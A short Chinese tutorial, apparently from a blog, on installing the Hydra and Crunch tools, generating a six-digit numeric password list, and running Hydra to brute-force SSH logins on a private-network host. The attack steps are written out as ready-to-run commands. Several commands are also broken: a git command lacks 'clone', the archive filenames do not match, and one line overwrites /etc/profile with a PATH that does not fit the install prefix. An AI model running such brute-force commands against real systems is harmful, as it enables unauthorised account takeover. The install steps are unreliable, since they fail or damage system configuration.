一、Hydra安装

下载地址:https://github.com/vanhauser-thc/thc-hydra/releases

wget https://github.com/vanhauser-thc/thc-hydra/archive/refs/tags/v9.1.zip

unzip thc-hydra-9.1.zip

cd thc-hydra-9.1

./configure --prefix=/usr/local/hydra-9.1

make && make install

ln -s /usr/local/hydra-9.1/bin/*  /usr/bin/

cat > /etc/profile << EOF
export PATH=/usr/local/hydra/bin/:$PATH
EOF

source /etc/profile

hydra --version

二、Crunch安装

下载地址:https://github.com/crunchsec/crunch

git https://github.com/crunchsec/crunch.git

cd crunch-master

make

./crunch --version

 make时出现报错:

/usr/include/gnu/stubs.h:7:27: 致命错误:gnu/stubs-32.h:没有那个文件或目录

解决:

yum -y install glibc-devel.i686

三、使用Crunch生成密码字典(详细使用:密码字典生成工具:crunch-CSDN博客

./crunch 6  6 -t  %%%%%% -o pwd.txt

四、利用字典进行远程爆破

hydra -L user.txt -P pwd.txt -t 2 172.16.40.201 ssh -s 22

查看被爆破主机安全日志:

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐